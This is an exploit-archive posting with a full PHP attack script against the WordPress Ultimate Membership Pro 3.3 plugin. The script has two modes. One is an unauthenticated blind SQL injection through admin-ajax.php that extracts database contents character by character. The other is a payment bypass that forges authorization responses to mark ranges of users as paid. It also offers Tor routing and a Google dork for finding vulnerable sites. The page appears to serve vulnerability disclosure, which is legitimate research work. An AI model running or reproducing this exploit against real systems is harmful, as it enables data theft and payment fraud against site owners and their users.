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WordPress Ultimate Membership Pro 3.3 SQL Injection

WordPress Ultimate Membership Pro 3.3 SQL Injection
Posted Jun 30, 2016
Authored by wp0Day.com

WordPress Ultimate Membership Pro plugin version 3.3 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 9edba755da9d970478234df675d2e2057d355945224203a45b1c7c3945f3736c

WordPress Ultimate Membership Pro 3.3 SQL Injection

Change Mirror Download
<?php
/**
* Exploit Title: Ultimate Membership Pro WordPress Plugin Exploit
* Google Dorks: inurl:"lid=0" OR inurl:"lid=1" ... inurl:"lid=100" "Register" "Confirm Password"
* Exploit Author: wp0Day.com <contact@wp0day.com>
* Vendor Homepage: http://wpindeed.com/
* Software Link: http://codecanyon.net/item/ultimate-membership-pro-wordpress-plugin/12159253
* Version: 3.3
* Tested on: Debian 8, PHP 5.6.17-3
* Type: Unauthenticated Blind SQLi, Unauthenticated Payment Bypass
* Time line: Found [07-Jun-2016], Vendor notified [08-Jun-2016], Vendor fixed: [Yes], [RD:1466846149]
*/


require_once('curl.php');
//OR
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
$curl = new CurlWrapper();


$options = getopt("t:m:l:e:s:",array('tor:'));
print_r($options);
$options = validateInput($options);

if (!$options){
showHelp();
}

if ($options['tor'] === true)
{
echo " ### USING TOR ###\n";
echo "Setting TOR Proxy...\n";
$curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
$curl->addOption(CURLOPT_PROXYTYPE,7);
echo "Checking IPv4 Address\n";
$curl->get('https://dynamicdns.park-your-domain.com/getip');
echo "Got IP : ".$curl->getResponse()."\n";
echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
$answer = fgets(fopen ("php://stdin","r"));
if(trim($answer) != 'wololo'){
die("Aborting!\n");
}
echo "OK...\n";
}

function isTrue($sql){
global $curl, $options;
$levels = "') union all select (SELECT CASE WHEN ($sql) then 1 else 1*(select table_name from information_schema.tables) end)#";
$data = array(
'action'=>'ihc_preview_user_listing',
'shortcode'=>'[ihc-list-users filter_by_level="1" levels_in="'.$levels.'" theme="ihc-theme_1" ]'
);
$curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
$resp = $curl->getResponse();
return preg_match('~ihc_public_list_users_(\d+)~',$resp);
}

function exploit(){
global $curl, $options;

if ($options['m'] == 'pay'){
$level = $options['l'];
for($i=$options['s']; $i<$options['e']; $i++){
//This is mental, no IP or Hash check!
echo "Paying Level $level to UserID: $i\n";
$data = array('x_MD5_Hash'=>'1', 'x_response_code'=>'1', 'x_cust_id'=>$i, 'x_po_num'=>$level);
$curl->post($options['t'].'wp-content/plugins/indeed-membership-pro/authorize_response.php', $data);
//echo $curl->getResponse();
}
}
if ($options['m'] == 'sql'){
$query = $options['s'];
echo "'Running' SQL Query: $query\n";
echo "Getting Length";
$max_length = 100;
//Well, it is messed up, can use , (comma) in the query
//Binary search or divide et impera is possible with the BETWEEN operator
//Code it yourself :)
$len = 0;
for ($i=1;$i<$max_length;$i++){
$sql_len = "(select char_length( ($query) ) = $i )";
if (isTrue($sql_len)){
echo "\nLength found: $i\n";
$len = $i;
break;
} else {
echo ".";
}
}
if ($len !== 0 ){
echo "Reading char by char\nResponse:\n";
} else {
die("Failed getting length!\nAboring.\n\n");
}
$charset = 'etaoinsrhdluc@*1234567890.mfywgpbvkxqjzETAOINSRHDLUCMFYWGPBVKXQJZ';
for ($i=1;$i<$len;$i++){
$got = false;
for ($j=0;$j<strlen($charset);$j++){
$chr = $charset[$j];
$question = "SELECT substr(($query) FROM $i FOR 1) = '$chr' ";
if (isTrue($question)){
echo $charset[$j];
$got = true;
break;
}
}
if (!$got){
echo "?";
}
}
echo "\n\n";

}
}

exploit();

function validateInput($options){

if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
return false;
}

if (!isset($options['m']) || !in_array($options['m'], array('sql', 'pay') ) ){
return false;
}
if ($options['m'] == 'sql' && !isset($options['s'])) {
return false;
}

if ($options['m'] == 'pay' && ( !isset($options['s']) || !isset($options['e']) || !isset($options['l']))) {
return false;
}
if ($options['m'] == 'pay' && ( !is_numeric($options['s']) || !is_numeric($options['e']) || !is_numeric($options['l']) )) {
echo "In pay mode -s -e and -l must be numeric!\n";
return false;
}

$options['tor'] = isset($options['tor']);

return $options;
}


function showHelp(){
global $argv;
$help = <<<EOD

Ultimate Membership Pro 8.4.1.3 WordPress Plugin Exploit


Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -m [MODE] -s [QUERY] -s [START] -e [END] -l [LEVEL]

[MODE] sql - Blind SQL Inject mode*
pay - Payment bypass. Parameters -l Level ID (&lid=XX in the url), -s Start UserID, -e End UserID

*Note: You can't use , (comma) in the query.

Examples:
php $argv[0] -t http://localhost/ --tor=yes -m sql -s 'select user()'
php $argv[0] -t http://localhost/ --tor=yes -m pau -s 0 -e 1000 -l 1

Marks all users with UserID between 0 and 1000 as paying customer for level ID 1

Misc:
CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
@link http://github.com/svyatov/CurlWrapper
@license http://www.opensource.org/licenses/mit-license.html MIT License

EOD;
echo $help."\n\n";
die();
}
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